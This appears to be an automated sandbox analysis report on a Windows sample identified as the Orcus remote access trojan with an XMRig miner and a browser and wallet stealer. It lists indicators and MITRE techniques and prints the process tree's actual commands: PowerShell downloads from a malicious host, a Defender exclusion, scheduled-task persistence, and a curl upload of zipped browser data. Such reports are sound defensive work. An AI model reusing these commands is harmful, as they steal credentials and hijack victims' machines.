orcus | 6092579a997945b10d3f279693baa004d180417ccfec941c45eb20705a2b4706

Analysis

max time kernel
113s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06/12/2024, 08:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a67e34baacfca98f323981d3b0087f3b.exe
Size 6.9MB
Sample241206-kbvmqaylay
SHA256 6092579a997945b10d3f279693baa004d180417ccfec941c45eb20705a2b4706
MD5 a67e34baacfca98f323981d3b0087f3b
SHA1 d22ccae2971df83812acaebc750d9a2c87357fe5
SHA512 39c7a33ab14e518a09f4e022c1c61c8b5a88417af3ce5a1769ab8c0fa328a178fcd79a098c4c7f3344df75e2b7cd22ebf6a88d43ad61599c53a3c89d54c29d6d
SSDEEP 196608:cALE6dWjWnulUCK9vDfaa1RkYP60bs25rXSNBl66Wncma:a6fuiPrfZ1RBP60bs25rXQ66WnG
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

orcus ta505 xmrig discovery execution miner persistence rat spyware stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://exodus.lat/COMSurrogate.exe

Extracted

Family

orcus

45.74.38.211:4782

Mutex

7a9c0f279c464958aebbd585f20f1cf2

Attributes

autostart_method
Disable
enable_keylogger
false
install_path
%programfiles%\Orcus\Orcus.exe
reconnect_delay
10000
registry_keyname
Orcus
taskscheduler_taskname
Orcus
watchdog_path
AppData\OrcusWatchdog.exe

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3132 created 3488	3132	Dr.com	56

TA505
Cybercrime group active since 2015, responsible for families like Dridex and Locky.
ta505
Ta505 family
ta505

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x0008000000023ce0-620.dat	family_xmrig
behavioral2/files/0x0008000000023ce0-620.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral2/memory/1904-369-0x0000000000920000-0x0000000000D24000-memory.dmp	orcus

Blocklisted process makes network request 2 IoCs

flow	pid	Process
36	2320	powershell.exe
38	1660	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2320	powershell.exe
3800	powershell.exe
5080	powershell.exe
3800	powershell.exe
5080	powershell.exe
1660	powershell.exe
2372	powershell.exe
4476	powershell.exe
4100	powershell.exe
5084	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	a67e34baacfca98f323981d3b0087f3b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Deletes itself 1 IoCs

pid	Process
3132	Dr.com

Executes dropped EXE 7 IoCs

pid	Process
3132	Dr.com
1904	RegAsm.exe
3480	smartscreen.exe
4520	COMSurrogate.exe
5092	COMSurrogate.exe
5048	mi.exe
4400	mi.exe

Loads dropped DLL 2 IoCs

pid	Process
5048	mi.exe
4400	mi.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmartScreen = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smartscreen.exe"	smartscreen.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\asm\\COMSurrogate.exe"	COMSurrogate.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\asm\\COMSurrogate.exe"	COMSurrogate.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	api.ipify.org
42	api.ipify.org

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
2552	tasklist.exe
3096	tasklist.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\MovieArchives	a67e34baacfca98f323981d3b0087f3b.exe
File opened for modification	C:\Windows\PackageExpression	a67e34baacfca98f323981d3b0087f3b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a67e34baacfca98f323981d3b0087f3b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dr.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4288	schtasks.exe
608	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
3132	Dr.com
1904	RegAsm.exe
3800	powershell.exe
3800	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
5080	powershell.exe
5080	powershell.exe
5080	powershell.exe
1660	powershell.exe
1660	powershell.exe
1660	powershell.exe
2372	powershell.exe
2372	powershell.exe
4476	powershell.exe
4476	powershell.exe
4100	powershell.exe
4100	powershell.exe
4100	powershell.exe
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe
3132	Dr.com
3132	Dr.com

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	tasklist.exe
Token: SeDebugPrivilege	3096	tasklist.exe
Token: SeDebugPrivilege	1904	RegAsm.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	4520	COMSurrogate.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	5092	COMSurrogate.exe
Token: SeLockMemoryPrivilege	5048	mi.exe
Token: SeLockMemoryPrivilege	5048	mi.exe
Token: SeLockMemoryPrivilege	4400	mi.exe
Token: SeLockMemoryPrivilege	4400	mi.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
3132	Dr.com
3132	Dr.com
3132	Dr.com
5048	mi.exe
4400	mi.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3132	Dr.com
3132	Dr.com
3132	Dr.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 4296	2764	a67e34baacfca98f323981d3b0087f3b.exe	83
PID 2764 wrote to memory of 4296	2764	a67e34baacfca98f323981d3b0087f3b.exe	83
PID 2764 wrote to memory of 4296	2764	a67e34baacfca98f323981d3b0087f3b.exe	83
PID 4296 wrote to memory of 2552	4296	cmd.exe	85
PID 4296 wrote to memory of 2552	4296	cmd.exe	85
PID 4296 wrote to memory of 2552	4296	cmd.exe	85
PID 4296 wrote to memory of 4040	4296	cmd.exe	86
PID 4296 wrote to memory of 4040	4296	cmd.exe	86
PID 4296 wrote to memory of 4040	4296	cmd.exe	86
PID 4296 wrote to memory of 3096	4296	cmd.exe	88
PID 4296 wrote to memory of 3096	4296	cmd.exe	88
PID 4296 wrote to memory of 3096	4296	cmd.exe	88
PID 4296 wrote to memory of 1288	4296	cmd.exe	89
PID 4296 wrote to memory of 1288	4296	cmd.exe	89
PID 4296 wrote to memory of 1288	4296	cmd.exe	89
PID 4296 wrote to memory of 4788	4296	cmd.exe	90
PID 4296 wrote to memory of 4788	4296	cmd.exe	90
PID 4296 wrote to memory of 4788	4296	cmd.exe	90
PID 4296 wrote to memory of 364	4296	cmd.exe	92
PID 4296 wrote to memory of 364	4296	cmd.exe	92
PID 4296 wrote to memory of 364	4296	cmd.exe	92
PID 4296 wrote to memory of 3132	4296	cmd.exe	93
PID 4296 wrote to memory of 3132	4296	cmd.exe	93
PID 4296 wrote to memory of 3132	4296	cmd.exe	93
PID 4296 wrote to memory of 3348	4296	cmd.exe	94
PID 4296 wrote to memory of 3348	4296	cmd.exe	94
PID 4296 wrote to memory of 3348	4296	cmd.exe	94
PID 3132 wrote to memory of 3196	3132	Dr.com	95
PID 3132 wrote to memory of 3196	3132	Dr.com	95
PID 3132 wrote to memory of 3196	3132	Dr.com	95
PID 3132 wrote to memory of 4288	3132	Dr.com	97
PID 3132 wrote to memory of 4288	3132	Dr.com	97
PID 3132 wrote to memory of 4288	3132	Dr.com	97
PID 3196 wrote to memory of 608	3196	cmd.exe	99
PID 3196 wrote to memory of 608	3196	cmd.exe	99
PID 3196 wrote to memory of 608	3196	cmd.exe	99
PID 3132 wrote to memory of 1904	3132	Dr.com	114
PID 3132 wrote to memory of 1904	3132	Dr.com	114
PID 3132 wrote to memory of 1904	3132	Dr.com	114
PID 3132 wrote to memory of 1904	3132	Dr.com	114
PID 3132 wrote to memory of 1904	3132	Dr.com	114
PID 1904 wrote to memory of 3036	1904	RegAsm.exe	118
PID 1904 wrote to memory of 3036	1904	RegAsm.exe	118
PID 1904 wrote to memory of 3036	1904	RegAsm.exe	118
PID 3036 wrote to memory of 1196	3036	cmd.exe	120
PID 3036 wrote to memory of 1196	3036	cmd.exe	120
PID 3036 wrote to memory of 1196	3036	cmd.exe	120
PID 1196 wrote to memory of 3848	1196	net.exe	121
PID 1196 wrote to memory of 3848	1196	net.exe	121
PID 1196 wrote to memory of 3848	1196	net.exe	121
PID 3036 wrote to memory of 3800	3036	cmd.exe	122
PID 3036 wrote to memory of 3800	3036	cmd.exe	122
PID 3036 wrote to memory of 3800	3036	cmd.exe	122
PID 1904 wrote to memory of 1928	1904	RegAsm.exe	123
PID 1904 wrote to memory of 1928	1904	RegAsm.exe	123
PID 1904 wrote to memory of 1928	1904	RegAsm.exe	123
PID 1904 wrote to memory of 3480	1904	RegAsm.exe	125
PID 1904 wrote to memory of 3480	1904	RegAsm.exe	125
PID 1928 wrote to memory of 2320	1928	cmd.exe	126
PID 1928 wrote to memory of 2320	1928	cmd.exe	126
PID 1928 wrote to memory of 2320	1928	cmd.exe	126
PID 1904 wrote to memory of 3664	1904	RegAsm.exe	127
PID 1904 wrote to memory of 3664	1904	RegAsm.exe	127
PID 1904 wrote to memory of 3664	1904	RegAsm.exe	127

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3488
- C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe
  "C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe"
  2⤵
  - Checks computer location settings
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2552
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "wrsa opssvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4040
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3096
  - - C:\Windows\SysWOW64\findstr.exe
      findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c md 491505
      4⤵
      System Location Discovery: System Language Discovery
      PID:4788
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
      4⤵
      System Location Discovery: System Language Discovery
      PID:364
  - - C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
      Dr.com B
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Deletes itself
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:3132
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4288
    - - C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1904
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3036
        
        C:\Windows\SysWOW64\net.exe
        
        net session
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1196
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3848
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
        
        "C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:4520
        
        C:\Users\Admin\AppData\Local\asm\mi.exe
        
        "C:\Users\Admin\AppData\Local\asm\mi.exe" --config="C:\Users\Admin\AppData\Local\asm\config.json"
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5048
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1976
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /E /I "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\*" "C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\"
        8⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2140
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3068
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s https://api.ipify.org
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2156
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip'"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5084
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1984
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2736
      - C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
        
        "C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:3480
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3664
        
        C:\Windows\SysWOW64\net.exe
        
        net session
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4372
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3348
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5080
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4100
        
        C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
        
        "C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:5092
        
        C:\Users\Admin\AppData\Local\asm\mi.exe
        
        "C:\Users\Admin\AppData\Local\asm\mi.exe" --config="C:\Users\Admin\AppData\Local\asm\config.json"
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4400
  - - C:\Windows\SysWOW64\choice.exe
      choice /d y /t 15
      4⤵
      System Location Discovery: System Language Discovery
      PID:3348
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...